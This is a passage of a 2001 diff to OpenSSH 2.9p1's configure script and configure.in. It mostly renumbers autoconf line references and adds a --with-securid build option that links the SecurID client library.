>&5 ++echo "configure:6333: checking for st_blksize in struct stat" >&5 + if eval "test \"`echo '$''{'ac_cv_struct_st_blksize'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + cat > conftest.$ac_ext < + #include +@@ -6291,7 +6342,7 @@ + struct stat s; s.st_blksize; + ; return 0; } + EOF +-if { (eval echo configure:6295: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:6346: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_struct_st_blksize=yes + else +@@ -6313,13 +6364,13 @@ + + + echo $ac_n "checking for sun_len field in struct sockaddr_un""... $ac_c" 1>&6 +-echo "configure:6317: checking for sun_len field in struct sockaddr_un" >&5 ++echo "configure:6368: checking for sun_len field in struct sockaddr_un" >&5 + if eval "test \"`echo '$''{'ac_cv_have_sun_len_in_struct_sockaddr_un'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < +@@ -6329,7 +6380,7 @@ + struct sockaddr_un s; s.sun_len = 1; + ; return 0; } + EOF +-if { (eval echo configure:6333: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:6384: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_sun_len_in_struct_sockaddr_un="yes" + else +@@ -6351,13 +6402,13 @@ + fi + + echo $ac_n "checking for ss_family field in struct sockaddr_storage""... $ac_c" 1>&6 +-echo "configure:6355: checking for ss_family field in struct sockaddr_storage" >&5 ++echo "configure:6406: checking for ss_family field in struct sockaddr_storage" >&5 + if eval "test \"`echo '$''{'ac_cv_have_ss_family_in_struct_ss'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < +@@ -6367,7 +6418,7 @@ + struct sockaddr_storage s; s.ss_family = 1; + ; return 0; } + EOF +-if { (eval echo configure:6371: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:6422: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_ss_family_in_struct_ss="yes" + else +@@ -6389,13 +6440,13 @@ + fi + + echo $ac_n "checking for __ss_family field in struct sockaddr_storage""... $ac_c" 1>&6 +-echo "configure:6393: checking for __ss_family field in struct sockaddr_storage" >&5 ++echo "configure:6444: checking for __ss_family field in struct sockaddr_storage" >&5 + if eval "test \"`echo '$''{'ac_cv_have___ss_family_in_struct_ss'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < +@@ -6405,7 +6456,7 @@ + struct sockaddr_storage s; s.__ss_family = 1; + ; return 0; } + EOF +-if { (eval echo configure:6409: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:6460: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have___ss_family_in_struct_ss="yes" + else +@@ -6428,13 +6479,13 @@ + fi + + echo $ac_n "checking for pw_class field in struct passwd""... $ac_c" 1>&6 +-echo "configure:6432: checking for pw_class field in struct passwd" >&5 ++echo "configure:6483: checking for pw_class field in struct passwd" >&5 + if eval "test \"`echo '$''{'ac_cv_have_pw_class_in_struct_passwd'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < +@@ -6443,7 +6494,7 @@ + struct passwd p; p.pw_class = 0; + ; return 0; } + EOF +-if { (eval echo configure:6447: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:6498: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_pw_class_in_struct_passwd="yes" + else +@@ -6467,20 +6518,20 @@ + + + echo $ac_n "checking if libc defines __progname""... $ac_c" 1>&6 +-echo "configure:6471: checking if libc defines __progname" >&5 ++echo "configure:6522: checking if libc defines __progname" >&5 + if eval "test \"`echo '$''{'ac_cv_libc_defines___progname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:6535: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + ac_cv_libc_defines___progname="yes" + else +@@ -6504,20 +6555,20 @@ + + + echo $ac_n "checking if libc defines sys_errlist""... $ac_c" 1>&6 +-echo "configure:6508: checking if libc defines sys_errlist" >&5 ++echo "configure:6559: checking if libc defines sys_errlist" >&5 + if eval "test \"`echo '$''{'ac_cv_libc_defines_sys_errlist'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:6572: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + ac_cv_libc_defines_sys_errlist="yes" + else +@@ -6541,20 +6592,20 @@ + + + echo $ac_n "checking if libc defines sys_nerr""... $ac_c" 1>&6 +-echo "configure:6545: checking if libc defines sys_nerr" >&5 ++echo "configure:6596: checking if libc defines sys_nerr" >&5 + if eval "test \"`echo '$''{'ac_cv_libc_defines_sys_nerr'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:6609: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + ac_cv_libc_defines_sys_nerr="yes" + else +@@ -6604,17 +6655,17 @@ + do + ac_safe=`echo "$ac_hdr" | sed 'y%./+-%__p_%'` + echo $ac_n "checking for $ac_hdr""... $ac_c" 1>&6 +-echo "configure:6608: checking for $ac_hdr" >&5 ++echo "configure:6659: checking for $ac_hdr" >&5 + if eval "test \"`echo '$''{'ac_cv_header_$ac_safe'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + cat > conftest.$ac_ext < + EOF + ac_try="$ac_cpp conftest.$ac_ext >/dev/null 2>conftest.out" +-{ (eval echo configure:6618: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; } ++{ (eval echo configure:6669: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; } + ac_err=`grep -v '^ *+' conftest.out | grep -v "^conftest.${ac_ext}\$"` + if test -z "$ac_err"; then + rm -rf conftest* +@@ -6644,7 +6695,7 @@ + echo "configure: warning: Cannot find krb.h, build may fail" 1>&2 + fi + echo $ac_n "checking for main in -lkrb""... $ac_c" 1>&6 +-echo "configure:6648: checking for main in -lkrb" >&5 ++echo "configure:6699: checking for main in -lkrb" >&5 + ac_lib_var=`echo krb'_'main | sed 'y%./+-%__p_%'` + if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +@@ -6652,14 +6703,14 @@ + ac_save_LIBS="$LIBS" + LIBS="-lkrb $LIBS" + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:6714: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" + else +@@ -6688,7 +6739,7 @@ + + if test "$ac_cv_lib_krb_main" != yes; then + echo $ac_n "checking for main in -lkrb4""... $ac_c" 1>&6 +-echo "configure:6692: checking for main in -lkrb4" >&5 ++echo "configure:6743: checking for main in -lkrb4" >&5 + ac_lib_var=`echo krb4'_'main | sed 'y%./+-%__p_%'` + if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +@@ -6696,14 +6747,14 @@ + ac_save_LIBS="$LIBS" + LIBS="-lkrb4 $LIBS" + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:6758: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" + else +@@ -6739,7 +6790,7 @@ + KLIBS="-lkrb" + fi + echo $ac_n "checking for des_cbc_encrypt in -ldes""... $ac_c" 1>&6 +-echo "configure:6743: checking for des_cbc_encrypt in -ldes" >&5 ++echo "configure:6794: checking for des_cbc_encrypt in -ldes" >&5 + ac_lib_var=`echo des'_'des_cbc_encrypt | sed 'y%./+-%__p_%'` + if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +@@ -6747,7 +6798,7 @@ + ac_save_LIBS="$LIBS" + LIBS="-ldes $LIBS" + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:6813: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" + else +@@ -6787,7 +6838,7 @@ + + if test "$ac_cv_lib_des_des_cbc_encrypt" != yes; then + echo $ac_n "checking for des_cbc_encrypt in -ldes425""... $ac_c" 1>&6 +-echo "configure:6791: checking for des_cbc_encrypt in -ldes425" >&5 ++echo "configure:6842: checking for des_cbc_encrypt in -ldes425" >&5 + ac_lib_var=`echo des425'_'des_cbc_encrypt | sed 'y%./+-%__p_%'` + if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +@@ -6795,7 +6846,7 @@ + ac_save_LIBS="$LIBS" + LIBS="-ldes425 $LIBS" + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:6861: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" + else +@@ -6842,7 +6893,7 @@ + KLIBS="-ldes" + fi + echo $ac_n "checking for dn_expand in -lresolv""... $ac_c" 1>&6 +-echo "configure:6846: checking for dn_expand in -lresolv" >&5 ++echo "configure:6897: checking for dn_expand in -lresolv" >&5 + ac_lib_var=`echo resolv'_'dn_expand | sed 'y%./+-%__p_%'` + if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +@@ -6850,7 +6901,7 @@ + ac_save_LIBS="$LIBS" + LIBS="-lresolv $LIBS" + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:6916: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" + else +@@ -6947,7 +6998,7 @@ + # Extract the first word of "rsh", so it can be a program name with args. + set dummy rsh; ac_word=$2 + echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +-echo "configure:6951: checking for $ac_word" >&5 ++echo "configure:7002: checking for $ac_word" >&5 + if eval "test \"`echo '$''{'ac_cv_path_rsh_path'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -6997,7 +7048,7 @@ + # Extract the first word of "xauth", so it can be a program name with args. + set dummy xauth; ac_word=$2 + echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +-echo "configure:7001: checking for $ac_word" >&5 ++echo "configure:7052: checking for $ac_word" >&5 + if eval "test \"`echo '$''{'ac_cv_path_xauth_path'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -7068,7 +7119,7 @@ + + ac_safe=`echo ""/dev/ptmx"" | sed 'y%./+-%__p_%'` + echo $ac_n "checking for "/dev/ptmx"""... $ac_c" 1>&6 +-echo "configure:7072: checking for "/dev/ptmx"" >&5 ++echo "configure:7123: checking for "/dev/ptmx"" >&5 + if eval "test \"`echo '$''{'ac_cv_file_$ac_safe'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -7101,7 +7152,7 @@ + + ac_safe=`echo ""/dev/ptc"" | sed 'y%./+-%__p_%'` + echo $ac_n "checking for "/dev/ptc"""... $ac_c" 1>&6 +-echo "configure:7105: checking for "/dev/ptc"" >&5 ++echo "configure:7156: checking for "/dev/ptc"" >&5 + if eval "test \"`echo '$''{'ac_cv_file_$ac_safe'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -7152,7 +7203,7 @@ + + ac_safe=`echo ""/dev/urandom"" | sed 'y%./+-%__p_%'` + echo $ac_n "checking for "/dev/urandom"""... $ac_c" 1>&6 +-echo "configure:7156: checking for "/dev/urandom"" >&5 ++echo "configure:7207: checking for "/dev/urandom"" >&5 + if eval "test \"`echo '$''{'ac_cv_file_$ac_safe'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -7222,7 +7273,7 @@ + # Check for existing socket only if we don't have a random device already + if test -z "$RANDOM_POOL" ; then + echo $ac_n "checking for PRNGD/EGD socket""... $ac_c" 1>&6 +-echo "configure:7226: checking for PRNGD/EGD socket" >&5 ++echo "configure:7277: checking for PRNGD/EGD socket" >&5 + # Insert other locations here + for sock in /var/run/egd-pool /dev/egd-pool /etc/entropy; do + if test -r $sock && $TEST_MINUS_S_SH -c "test -S $sock -o -p $sock" ; then +@@ -7255,7 +7306,7 @@ + # Extract the first word of "ls", so it can be a program name with args. + set dummy ls; ac_word=$2 + echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +-echo "configure:7259: checking for $ac_word" >&5 ++echo "configure:7310: checking for $ac_word" >&5 + if eval "test \"`echo '$''{'ac_cv_path_PROG_LS'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -7296,7 +7347,7 @@ + # Extract the first word of "netstat", so it can be a program name with args. + set dummy netstat; ac_word=$2 + echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +-echo "configure:7300: checking for $ac_word" >&5 ++echo "configure:7351: checking for $ac_word" >&5 + if eval "test \"`echo '$''{'ac_cv_path_PROG_NETSTAT'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -7337,7 +7388,7 @@ + # Extract the first word of "arp", so it can be a program name with args. + set dummy arp; ac_word=$2 + echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +-echo "configure:7341: checking for $ac_word" >&5 ++echo "configure:7392: checking for $ac_word" >&5 + if eval "test \"`echo '$''{'ac_cv_path_PROG_ARP'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -7378,7 +7429,7 @@ + # Extract the first word of "ifconfig", so it can be a program name with args. + set dummy ifconfig; ac_word=$2 + echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +-echo "configure:7382: checking for $ac_word" >&5 ++echo "configure:7433: checking for $ac_word" >&5 + if eval "test \"`echo '$''{'ac_cv_path_PROG_IFCONFIG'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -7419,7 +7470,7 @@ + # Extract the first word of "ps", so it can be a program name with args. + set dummy ps; ac_word=$2 + echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +-echo "configure:7423: checking for $ac_word" >&5 ++echo "configure:7474: checking for $ac_word" >&5 + if eval "test \"`echo '$''{'ac_cv_path_PROG_PS'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -7460,7 +7511,7 @@ + # Extract the first word of "w", so it can be a program name with args. + set dummy w; ac_word=$2 + echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +-echo "configure:7464: checking for $ac_word" >&5 ++echo "configure:7515: checking for $ac_word" >&5 + if eval "test \"`echo '$''{'ac_cv_path_PROG_W'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -7501,7 +7552,7 @@ + # Extract the first word of "who", so it can be a program name with args. + set dummy who; ac_word=$2 + echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +-echo "configure:7505: checking for $ac_word" >&5 ++echo "configure:7556: checking for $ac_word" >&5 + if eval "test \"`echo '$''{'ac_cv_path_PROG_WHO'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -7542,7 +7593,7 @@ + # Extract the first word of "last", so it can be a program name with args. + set dummy last; ac_word=$2 + echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +-echo "configure:7546: checking for $ac_word" >&5 ++echo "configure:7597: checking for $ac_word" >&5 + if eval "test \"`echo '$''{'ac_cv_path_PROG_LAST'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -7583,7 +7634,7 @@ + # Extract the first word of "lastlog", so it can be a program name with args. + set dummy lastlog; ac_word=$2 + echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +-echo "configure:7587: checking for $ac_word" >&5 ++echo "configure:7638: checking for $ac_word" >&5 + if eval "test \"`echo '$''{'ac_cv_path_PROG_LASTLOG'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -7624,7 +7675,7 @@ + # Extract the first word of "df", so it can be a program name with args. + set dummy df; ac_word=$2 + echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +-echo "configure:7628: checking for $ac_word" >&5 ++echo "configure:7679: checking for $ac_word" >&5 + if eval "test \"`echo '$''{'ac_cv_path_PROG_DF'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -7665,7 +7716,7 @@ + # Extract the first word of "vmstat", so it can be a program name with args. + set dummy vmstat; ac_word=$2 + echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +-echo "configure:7669: checking for $ac_word" >&5 ++echo "configure:7720: checking for $ac_word" >&5 + if eval "test \"`echo '$''{'ac_cv_path_PROG_VMSTAT'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -7706,7 +7757,7 @@ + # Extract the first word of "uptime", so it can be a program name with args. + set dummy uptime; ac_word=$2 + echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +-echo "configure:7710: checking for $ac_word" >&5 ++echo "configure:7761: checking for $ac_word" >&5 + if eval "test \"`echo '$''{'ac_cv_path_PROG_UPTIME'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -7747,7 +7798,7 @@ + # Extract the first word of "ipcs", so it can be a program name with args. + set dummy ipcs; ac_word=$2 + echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +-echo "configure:7751: checking for $ac_word" >&5 ++echo "configure:7802: checking for $ac_word" >&5 + if eval "test \"`echo '$''{'ac_cv_path_PROG_IPCS'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -7788,7 +7839,7 @@ + # Extract the first word of "tail", so it can be a program name with args. + set dummy tail; ac_word=$2 + echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +-echo "configure:7792: checking for $ac_word" >&5 ++echo "configure:7843: checking for $ac_word" >&5 + if eval "test \"`echo '$''{'ac_cv_path_PROG_TAIL'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -7853,7 +7904,7 @@ + # Extract the first word of "$ac_prog", so it can be a program name with args. + set dummy $ac_prog; ac_word=$2 + echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +-echo "configure:7857: checking for $ac_word" >&5 ++echo "configure:7908: checking for $ac_word" >&5 + if eval "test \"`echo '$''{'ac_cv_path_NROFF'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -7942,9 +7993,9 @@ + + if test -z "$disable_shadow" ; then + echo $ac_n "checking if the systems has expire shadow information""... $ac_c" 1>&6 +-echo "configure:7946: checking if the systems has expire shadow information" >&5 ++echo "configure:7997: checking if the systems has expire shadow information" >&5 + cat > conftest.$ac_ext < +@@ -7955,7 +8006,7 @@ + sp.sp_expire = sp.sp_lstchg = sp.sp_inact = 0; + ; return 0; } + EOF +-if { (eval echo configure:7959: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:8010: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + sp_expire_available=yes + else +@@ -8022,7 +8073,7 @@ + + else + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null ++if { (eval echo configure:8109: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null + then + user_path=`cat conftest.stdpath` + else +@@ -8111,7 +8162,7 @@ + + + echo $ac_n "checking if we need to convert IPv4 in IPv6-mapped addresses""... $ac_c" 1>&6 +-echo "configure:8115: checking if we need to convert IPv4 in IPv6-mapped addresses" >&5 ++echo "configure:8166: checking if we need to convert IPv4 in IPv6-mapped addresses" >&5 + IPV4_IN6_HACK_MSG="no" + # Check whether --with-4in6 or --without-4in6 was given. + if test "${with_4in6+set}" = set; then +@@ -8163,7 +8214,7 @@ + + + echo $ac_n "checking whether to install ssh as suid root""... $ac_c" 1>&6 +-echo "configure:8167: checking whether to install ssh as suid root" >&5 ++echo "configure:8218: checking whether to install ssh as suid root" >&5 + # Check whether --enable-suid-ssh or --disable-suid-ssh was given. + if test "${enable_suid_ssh+set}" = set; then + enableval="$enable_suid_ssh" +@@ -8312,9 +8363,9 @@ + + + echo $ac_n "checking if your system defines LASTLOG_FILE""... $ac_c" 1>&6 +-echo "configure:8316: checking if your system defines LASTLOG_FILE" >&5 ++echo "configure:8367: checking if your system defines LASTLOG_FILE" >&5 + cat > conftest.$ac_ext < +@@ -8330,7 +8381,7 @@ + char *lastlog = LASTLOG_FILE; + ; return 0; } + EOF +-if { (eval echo configure:8334: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:8385: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + echo "$ac_t""yes" 1>&6 + else +@@ -8340,9 +8391,9 @@ + + echo "$ac_t""no" 1>&6 + echo $ac_n "checking if your system defines _PATH_LASTLOG""... $ac_c" 1>&6 +-echo "configure:8344: checking if your system defines _PATH_LASTLOG" >&5 ++echo "configure:8395: checking if your system defines _PATH_LASTLOG" >&5 + cat > conftest.$ac_ext < +@@ -8358,7 +8409,7 @@ + char *lastlog = _PATH_LASTLOG; + ; return 0; } + EOF +-if { (eval echo configure:8362: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:8413: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + echo "$ac_t""yes" 1>&6 + else +@@ -8397,9 +8448,9 @@ + fi + + echo $ac_n "checking if your system defines UTMP_FILE""... $ac_c" 1>&6 +-echo "configure:8401: checking if your system defines UTMP_FILE" >&5 ++echo "configure:8452: checking if your system defines UTMP_FILE" >&5 + cat > conftest.$ac_ext < +@@ -8412,7 +8463,7 @@ + char *utmp = UTMP_FILE; + ; return 0; } + EOF +-if { (eval echo configure:8416: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:8467: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + echo "$ac_t""yes" 1>&6 + else +@@ -8447,9 +8498,9 @@ + fi + + echo $ac_n "checking if your system defines WTMP_FILE""... $ac_c" 1>&6 +-echo "configure:8451: checking if your system defines WTMP_FILE" >&5 ++echo "configure:8502: checking if your system defines WTMP_FILE" >&5 + cat > conftest.$ac_ext < +@@ -8462,7 +8513,7 @@ + char *wtmp = WTMP_FILE; + ; return 0; } + EOF +-if { (eval echo configure:8466: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:8517: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + echo "$ac_t""yes" 1>&6 + else +@@ -8498,9 +8549,9 @@ + + + echo $ac_n "checking if your system defines UTMPX_FILE""... $ac_c" 1>&6 +-echo "configure:8502: checking if your system defines UTMPX_FILE" >&5 ++echo "configure:8553: checking if your system defines UTMPX_FILE" >&5 + cat > conftest.$ac_ext < +@@ -8516,7 +8567,7 @@ + char *utmpx = UTMPX_FILE; + ; return 0; } + EOF +-if { (eval echo configure:8520: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:8571: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + echo "$ac_t""yes" 1>&6 + else +@@ -8543,9 +8594,9 @@ + fi + + echo $ac_n "checking if your system defines WTMPX_FILE""... $ac_c" 1>&6 +-echo "configure:8547: checking if your system defines WTMPX_FILE" >&5 ++echo "configure:8598: checking if your system defines WTMPX_FILE" >&5 + cat > conftest.$ac_ext < +@@ -8561,7 +8612,7 @@ + char *wtmpx = WTMPX_FILE; + ; return 0; } + EOF +-if { (eval echo configure:8565: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:8616: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + echo "$ac_t""yes" 1>&6 + else +@@ -8613,12 +8664,12 @@ + fi + + echo $ac_n "checking for Cygwin environment""... $ac_c" 1>&6 +-echo "configure:8617: checking for Cygwin environment" >&5 ++echo "configure:8668: checking for Cygwin environment" >&5 + if eval "test \"`echo '$''{'ac_cv_cygwin'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + cat > conftest.$ac_ext <&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:8684: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_cygwin=yes + else +@@ -8646,19 +8697,19 @@ + CYGWIN= + test "$ac_cv_cygwin" = yes && CYGWIN=yes + echo $ac_n "checking for mingw32 environment""... $ac_c" 1>&6 +-echo "configure:8650: checking for mingw32 environment" >&5 ++echo "configure:8701: checking for mingw32 environment" >&5 + if eval "test \"`echo '$''{'ac_cv_mingw32'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + cat > conftest.$ac_ext <&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:8713: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_mingw32=yes + else +@@ -8677,7 +8728,7 @@ + + + echo $ac_n "checking for executable suffix""... $ac_c" 1>&6 +-echo "configure:8681: checking for executable suffix" >&5 ++echo "configure:8732: checking for executable suffix" >&5 + if eval "test \"`echo '$''{'ac_cv_exeext'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -8687,7 +8738,7 @@ + rm -f conftest* + echo 'int main () { return 0; }' > conftest.$ac_ext + ac_cv_exeext= +- if { (eval echo configure:8691: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; }; then ++ if { (eval echo configure:8742: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; }; then + for file in conftest.*; do + case $file in + *.c | *.o | *.obj) ;; +@@ -9146,6 +9197,7 @@ + echo " KerberosIV support: $KRB4_MSG" + echo " AFS support: $AFS_MSG" + echo " S/KEY support: $SKEY_MSG" ++echo " SecurID support: $SECURID_MSG" + echo " TCP Wrappers support: $TCPW_MSG" + echo " MD5 password support: $MD5_MSG" + echo " IP address in \$DISPLAY hack: $DISPLAY_HACK_MSG" +diff -ruN openssh-2.9p1-orig/configure.in openssh-2.9p1/configure.in +--- openssh-2.9p1-orig/configure.in Thu Apr 26 14:40:28 2001 ++++ openssh-2.9p1/configure.in Sun Apr 29 22:00:00 2001 +@@ -417,6 +417,35 @@ + fi + ] + ) ++SECURID_MSG="no" ++AC_ARG_WITH(securid, ++ [ --with-securid Enable SecurID support], ++ [ ++ if test "x$withval" != "xno" ; then ++ saved_LIBS="$LIBS" ++ LIBS="$LIBS sdiclient.a" ++ AC_MSG_CHECKING(for sdiclient.a) ++ AC_TRY_LINK( ++ [ ++#include "sdi_athd.h" ++#include "sdconf.h" ++#include "sdacmvls.h" ++ struct SD_CLIENT sd_dat, *sd; ++ union config_record configure; ++ ], ++ [sd = &sd_dat; creadcfg(); sd_init(sd);], ++ [ ++ AC_MSG_RESULT(yes) ++ AC_DEFINE(SECURID) ++ SECURID_MSG="yes" ++ ], ++ [ ++ AC_MSG_ERROR([*** sdiclient.a missing]) ++ ] ++ ) ++ fi ++ ] ++) + + # Check whether user wants TCP wrappers support + TCPW_MSG="no" +@@ -1923,6 +1952,7 @@ + echo " KerberosIV support: $KRB4_MSG" + echo " AFS support: $AFS_MSG" + echo " S/KEY support: $SKEY_MSG" ++echo " SecurID support: $SECURID_MSG" + echo " TCP Wrappers support: $TCPW_MSG" + echo " MD5 password support: $MD5_MSG" + echo " IP address in \$DISPLAY hack: $DISPLAY_HACK_MSG" +diff -ruN openssh-2.9p1-orig/readconf.c openssh-2.9p1/readconf.c +--- openssh-2.9p1-orig/readconf.c Wed Apr 18 04:11:37 2001 ++++ openssh-2.9p1/readconf.c Sun Apr 29 22:00:00 2001 +@@ -95,6 